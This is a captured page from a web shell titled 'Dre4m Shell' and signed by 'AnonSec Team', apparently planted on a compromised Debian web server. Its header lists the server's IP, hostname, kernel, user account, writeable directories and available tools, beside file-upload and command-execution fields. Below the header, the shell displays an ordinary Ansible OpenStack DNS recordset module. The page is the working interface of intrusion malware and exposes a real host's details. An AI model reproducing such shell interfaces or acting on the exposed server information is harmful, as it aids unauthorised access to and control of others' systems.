Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.145.53.93
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/ansible_collections/openstack/cloud/plugins/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /lib/python3/dist-packages/ansible_collections/openstack/cloud/plugins/modules/recordset.py
#!/usr/bin/python
# Copyright (c) 2016 Hewlett-Packard Enterprise
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

DOCUMENTATION = '''
---
module: recordset
short_description: Manage OpenStack DNS recordsets
author: OpenStack Ansible SIG
description:
    - Manage OpenStack DNS recordsets. Recordsets can be created, deleted or
      updated. Only the I(records), I(description), and I(ttl) values
      can be updated.
options:
   description:
     description:
        - Description of the recordset
     type: str
   name:
     description:
        - Name of the recordset. It must be ended with name of dns zone.
     required: true
     type: str
   records:
     description:
        - List of recordset definitions.
        - Required when I(state=present).
     type: list
     elements: str
   recordset_type:
     description:
        - Recordset type
        - Required when I(state=present).
     choices: ['a', 'aaaa', 'mx', 'cname', 'txt', 'ns', 'srv', 'ptr', 'caa']
     type: str
   state:
     description:
       - Should the resource be present or absent.
     choices: [present, absent]
     default: present
     type: str
   ttl:
     description:
        -  TTL (Time To Live) value in seconds
     type: int
   zone:
     description:
        - Name or ID of the zone which manages the recordset
     required: true
     type: str
requirements:
    - "python >= 3.6"
    - "openstacksdk"

extends_documentation_fragment:
- openstack.cloud.openstack
'''

EXAMPLES = '''
# Create a recordset named "www.example.net."
- openstack.cloud.recordset:
    cloud: mycloud
    state: present
    zone: example.net.
    name: www.example.net.
    recordset_type: "a"
    records: ['10.1.1.1']
    description: test recordset
    ttl: 3600

# Update the TTL on existing "www.example.net." recordset
- openstack.cloud.recordset:
    cloud: mycloud
    state: present
    zone: example.net.
    name: www.example.net.
    recordset_type: "a"
    records: ['10.1.1.1']
    ttl: 7200

# Delete recordset named "www.example.net."
- openstack.cloud.recordset:
    cloud: mycloud
    state: absent
    zone: example.net.
    name: www.example.net.
'''

RETURN = '''
recordset:
    description: Dictionary describing the recordset.
    returned: On success when I(state) is 'present'.
    type: dict
    contains:
        action:
            description: Current action in progress on the resource
            type: str
            returned: always
        created_at:
            description: Timestamp when the zone was created
            type: str
            returned: always
        description:
            description: Recordset description
            type: str
            sample: "Test description"
            returned: always
        id:
            description: Unique recordset ID
            type: str
            sample: "c1c530a3-3619-46f3-b0f6-236927b2618c"
        links:
            description: Links related to the resource
            type: dict
            returned: always
        name:
            description: Recordset name
            type: str
            sample: "www.example.net."
            returned: always
        project_id:
            description: ID of the proect to which the recordset belongs
            type: str
            returned: always
        records:
            description: Recordset records
            type: list
            sample: ['10.0.0.1']
            returned: always
        status:
            description:
                - Recordset status
                - Valid values include `PENDING_CREATE`, `ACTIVE`,`PENDING_DELETE`,
                  `ERROR`
            type: str
            returned: always
        ttl:
            description: Zone TTL value
            type: int
            sample: 3600
            returned: always
        type:
            description:
                - Recordset type
                - Valid values include `A`, `AAAA`, `MX`, `CNAME`, `TXT`, `NS`,
                  `SSHFP`, `SPF`, `SRV`, `PTR`
            type: str
            sample: "A"
            returned: always
        zone_id:
            description: The id of the Zone which this recordset belongs to
            type: str
            sample: 9508e177-41d8-434e-962c-6fe6ca880af7
            returned: always
        zone_name:
            description: The name of the Zone which this recordset belongs to
            type: str
            sample: "example.com."
            returned: always
'''

from ansible_collections.openstack.cloud.plugins.module_utils.openstack import OpenStackModule


class DnsRecordsetModule(OpenStackModule):
    argument_spec = dict(
        description=dict(required=False, default=None),
        name=dict(required=True),
        records=dict(required=False, type='list', elements='str'),
        recordset_type=dict(required=False, choices=['a', 'aaaa', 'mx', 'cname', 'txt', 'ns', 'srv', 'ptr', 'caa']),
        state=dict(default='present', choices=['absent', 'present']),
        ttl=dict(required=False, type='int'),
        zone=dict(required=True),
    )

    module_kwargs = dict(
        required_if=[
            ('state', 'present',
             ['recordset_type', 'records'])],
        supports_check_mode=True
    )

    module_min_sdk_version = '0.28.0'

    def _needs_update(self, params, recordset):
        for k in ('description', 'records', 'ttl'):
            if k not in params:
                continue
            if params[k] is not None and params[k] != recordset[k]:
                return True
        return False

    def _system_state_change(self, state, recordset):
        if state == 'present':
            if recordset is None:
                return True
            kwargs = self._build_params()
            return self._needs_update(kwargs, recordset)
        if state == 'absent' and recordset:
            return True
        return False

    def _build_params(self):
        recordset_type = self.params['recordset_type']
        records = self.params['records']
        description = self.params['description']
        ttl = self.params['ttl']
        params = {
            'description': description,
            'records': records,
            'type': recordset_type.upper(),
            'ttl': ttl,
        }
        return {k: v for k, v in params.items() if v is not None}

    def run(self):
        zone = self.params.get('zone')
        name = self.params.get('name')
        state = self.params.get('state')
        ttl = self.params.get('ttl')

        recordsets = self.conn.search_recordsets(zone, name_or_id=name)

        recordset = None
        if recordsets:
            recordset = recordsets[0]

        if self.ansible.check_mode:
            self.exit_json(changed=self._system_state_change(state, recordset))

        changed = False
        if state == 'present':
            kwargs = self._build_params()
            if recordset is None:
                kwargs['ttl'] = ttl or 300
                type = kwargs.pop('type', None)
                if type is not None:
                    kwargs['recordset_type'] = type
                recordset = self.conn.create_recordset(zone=zone, name=name,
                                                       **kwargs)
                changed = True
            elif self._needs_update(kwargs, recordset):
                type = kwargs.pop('type', None)
                recordset = self.conn.update_recordset(zone, recordset['id'],
                                                       **kwargs)
                changed = True
            self.exit_json(changed=changed, recordset=recordset)
        elif state == 'absent' and recordset is not None:
            self.conn.delete_recordset(zone, recordset['id'])
            changed = True
        self.exit_json(changed=changed)


def main():
    module = DnsRecordsetModule()
    module()


if __name__ == '__main__':
    main()

Anon7 - 2022
AnonSec Team